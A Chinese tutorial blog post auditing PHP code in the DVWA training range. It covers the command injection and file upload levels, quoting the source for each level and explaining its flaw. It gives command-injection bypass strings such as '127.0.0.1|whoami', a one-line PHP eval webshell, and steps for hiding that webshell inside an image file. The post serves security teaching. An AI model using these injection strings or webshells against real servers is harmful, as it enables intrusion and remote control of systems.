[后端代码审计] PHP 代码审计(DVWA 命令注入漏洞、文件上传漏洞)

前言

​ DVWA是一款基于PHP和mysql开发的Web靶场训练平台。DVWA 一共包含了十个攻击模块,分别是:Brute Force(暴力破解)、Command Injection(命令行注入)、CSRF(跨站请求伪造)、File Inclusion(文件包含)、File Upload(文件上传)、Insecure CAPTCHA (不安全的验证码)、SQL Injection(SQL注入)、SQL Injection(Blind)(SQL盲注)、XSS(Reflected)(反射型跨站脚本)、XSS(Stored)(存储型跨站脚本)。包含了 OWASP TOP10 的所有攻击漏洞的练习环境,一站式解决所有 Web 渗透的学习环境。

​ 本文主要是针对命令注入漏洞的PHP代码层面进行讲解。

1. 命令注入漏洞审计

1.1 Low

1.1.1 源代码
Command Injection Source
<?php

if( isset( $_POST[ 'Submit' ]  ) ) {
    // Get input
    $target = $_REQUEST[ 'ip' ];

    // Determine OS and execute the ping command.
    if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
        // Windows
        $cmd = shell_exec( 'ping  ' . $target );
    }
    else {
        // *nix
        $cmd = shell_exec( 'ping  -c 4 ' . $target );
    }

    // Feedback for the end user
    echo "<pre>{$cmd}</pre>";
}

?>
1.1.2 代码审计

服务器通过GPC方式获取一个IP地址,将它赋值给$target变量。

命令将 ping$target 进行拼接。

使用 shell_exec() 运行拼接后的命令。

1.1.3 漏洞利用
ping 127.0.0.1 && whoami
ping 127.0.0.1 || whoami

在这里插入图片描述

1.2 Medium

1.2.1 源代码
<?php

if( isset( $_POST[ 'Submit' ]  ) ) {
    // Get input
    $target = $_REQUEST[ 'ip' ];

    // Set blacklist
    $substitutions = array(
        '&&' => '',
        ';'  => '',
    );

    // Remove any of the charactars in the array (blacklist).
    $target = str_replace( array_keys( $substitutions ), $substitutions, $target );

    // Determine OS and execute the ping command.
    if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
        // Windows
        $cmd = shell_exec( 'ping  ' . $target );
    }
    else {
        // *nix
        $cmd = shell_exec( 'ping  -c 4 ' . $target );
    }

    // Feedback for the end user
    echo "<pre>{$cmd}</pre>";
}

?>
1.2.2 代码审计

设置了黑名单,&&;

根据黑名单,对$target变量进行过滤。

下面是代码的不足问题:

1.输入验证不足

​ 代码尝试使用 str_replace 函数过滤掉特定字符(如 &&;),但这不是一个全面的解决方案。攻击者可以利用其他绕过方法,如使用 Unicode 编码或其他变体字符。

2.命令注入

​ 即使代码在某种程度上尝试清理输入,仍然存在命令注入风险。攻击者可以通过输入特殊字符或者恶意构造的 IP 地址来试图执行其他系统命令。

3.shell_exec 使用不当

shell_exec 执行命令并返回其输出,可能会在某些情况下暴露敏感信息或允许恶意用户执行不受限制的命令。

4.不安全的 $_REQUEST 使用

​ 使用 $_REQUEST 来获取用户输入并进行操作可能导致不必要的风险。使用 $_POST$_GET 更加明确。

1.2.3 漏洞利用
127.0.0.1 & whoami

因为黑名单只过滤掉了&&;,所以我们只需要用其他的连接符就可以直接注入成功。

在这里插入图片描述

1.3 High

1.3.1 源代码
<?php

if( isset( $_POST[ 'Submit' ]  ) ) {
    // Get input
    $target = trim($_REQUEST[ 'ip' ]);

    // Set blacklist
    $substitutions = array(
        '&'  => '',
        ';'  => '',
        '| ' => '',
        '-'  => '',
        '$'  => '',
        '('  => '',
        ')'  => '',
        '`'  => '',
        '||' => '',
    );

    // Remove any of the charactars in the array (blacklist).
    $target = str_replace( array_keys( $substitutions ), $substitutions, $target );

    // Determine OS and execute the ping command.
    if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
        // Windows
        $cmd = shell_exec( 'ping  ' . $target );
    }
    else {
        // *nix
        $cmd = shell_exec( 'ping  -c 4 ' . $target );
    }

    // Feedback for the end user
    echo "<pre>{$cmd}</pre>";
}

?>
1.3.2 代码审计

与medium一样采用黑名单过滤的方式,设置了&;|+-()、反引号、||

以下是代码的不足问题:

1.输入验证不足

​ 尽管代码对输入进行了一些字符过滤,但这并不能有效地防止所有类型的命令注入攻击。攻击者可以通过更复杂的绕过技术,绕过这些简单的替换。

2.命令注入风险

shell_exec 直接将用户输入用于构造系统命令。如果攻击者能够构造特殊的输入,仍然可能进行命令注入攻击。

3.不必要的字符替换

​ 替换特定字符并不总是有效。字符替换可能无法阻止所有的注入攻击,并且它也可能影响到合法的 IP 地址或主机名。

4.不安全的 $_REQUEST 使用

$_REQUEST 包含来自 $_GET$_POST$_COOKIE 的数据。最好明确使用 $_POST$_GET 来获取用户输入。

1.3.3 漏洞利用
127.0.0.1|whoami

还是一样,仔细查看可以发现| ,过滤时后面有一个空格,所以我们只需要不加空格就可以进行注入。

在这里插入图片描述

1.4 Impossible

1.4.1 源代码
<?php

if( isset( $_POST[ 'Submit' ]  ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $target = $_REQUEST[ 'ip' ];
    $target = stripslashes( $target );

    // Split the IP into 4 octects
    $octet = explode( ".", $target );

    // Check IF each octet is an integer
    if( ( is_numeric( $octet[0] ) ) && ( is_numeric( $octet[1] ) ) && ( is_numeric( $octet[2] ) ) && ( is_numeric( $octet[3] ) ) && ( sizeof( $octet ) == 4 ) ) {
        // If all 4 octets are int's put the IP back together.
        $target = $octet[0] . '.' . $octet[1] . '.' . $octet[2] . '.' . $octet[3];

        // Determine OS and execute the ping command.
        if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
            // Windows
            $cmd = shell_exec( 'ping  ' . $target );
        }
        else {
            // *nix
            $cmd = shell_exec( 'ping  -c 4 ' . $target );
        }

        // Feedback for the end user
        echo "<pre>{$cmd}</pre>";
    }
    else {
        // Ops. Let the user name theres a mistake
        echo '<pre>ERROR: You have entered an invalid IP.</pre>';
    }
}

// Generate Anti-CSRF token
generateSessionToken();

?>

2. 文件上传漏洞审计

2.1 Low

2.1.1 源代码
<?php

if( isset( $_POST[ 'Upload' ] ) ) {
    // Where are we going to be writing to?
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

    // Can we move the file to the upload folder?
    if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
        // No
        echo '<pre>Your image was not uploaded.</pre>';
    }
    else {
        // Yes!
        echo "<pre>{$target_path} succesfully uploaded!</pre>";
    }
}

?>
2.1.2 代码审计

$_FILES[ 'uploaded' ][ 'tmp_name' ]:文件缓存的路径。

$target_path:文件存储的目标路径。

没有做上传文件限制,可以直接进行上传php文件。

2.1.3 漏洞利用

准备一个一句话木马文件:

yjh.php
<?php
    @eval($_REQUEST[777]);
?>

将写好的yjh.php进行上传,显示上传成功。

在这里插入图片描述

然后我们就可以连菜刀进行控制了。

2.2 Medium

2.2.1 源代码
<?php

if( isset( $_POST[ 'Upload' ] ) ) {
    // Where are we going to be writing to?
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

    // File information
    $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
    $uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
    $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];

    // Is it an image?
    if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) &&
        ( $uploaded_size < 100000 ) ) {

        // Can we move the file to the upload folder?
        if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
            // No
            echo '<pre>Your image was not uploaded.</pre>';
        }
        else {
            // Yes!
            echo "<pre>{$target_path} succesfully uploaded!</pre>";
        }
    }
    else {
        // Invalid file
        echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
    }
}

?>
2.2.2 代码审计

代码对上传文件的类型(使用$_FILES['uploaded']['type']来验证文件类型)、大小做了限制(使用$_FILES['uploaded']['size']来限制文件大小),要求文件类型必须是jpeg或者png,大小不能超过100000B。

2.2.3 漏洞利用

创建一个.jpg文件,然后使用burp修改。

在这里插入图片描述
在这里插入图片描述

接着点击Forward 进行发送就可以发送成功了。

2.3 High

2.3.1 源代码
<?php

if( isset( $_POST[ 'Upload' ] ) ) {
    // Where are we going to be writing to?
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

    // File information
    $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
    $uploaded_ext  = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
    $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
    $uploaded_tmp  = $_FILES[ 'uploaded' ][ 'tmp_name' ];

    // Is it an image?
    if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) &&
        ( $uploaded_size < 100000 ) &&
        getimagesize( $uploaded_tmp ) ) {

        // Can we move the file to the upload folder?
        if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) {
            // No
            echo '<pre>Your image was not uploaded.</pre>';
        }
        else {
            // Yes!
            echo "<pre>{$target_path} succesfully uploaded!</pre>";
        }
    }
    else {
        // Invalid file
        echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
    }
}

?>
2.3.2 代码审计

代码读取文件名中最后一个”.”后的字符串,期望通过文件名来限制文件类型,因此要求上传文件名形式必须是”.jpg”、”.jpeg” 、”*.png”之一。同时,getimagesize函数更是限制了上传文件的文件头必须为图像类型。

2.3.3 漏洞利用

因为强制限制了文件类型,所以就需要制作图片马了。

制作图片吗可以通过文本方式和cmd命令两种方式来完成。

1.文本方式

使用文本编辑器打开图片文件,将一句话木马加上去。

这里我打开了一个豌豆射手的图片,将php代码加了上去。

在这里插入图片描述

2.cmd命令

copy 图片文件/b+php脚本文件/a 新生成的图片文件

/a:通过二进制方式打开,放置在脚本文件后。

/b:通过ASCII编码方式打开,放置在图片文件后。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Da1NtY0926

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值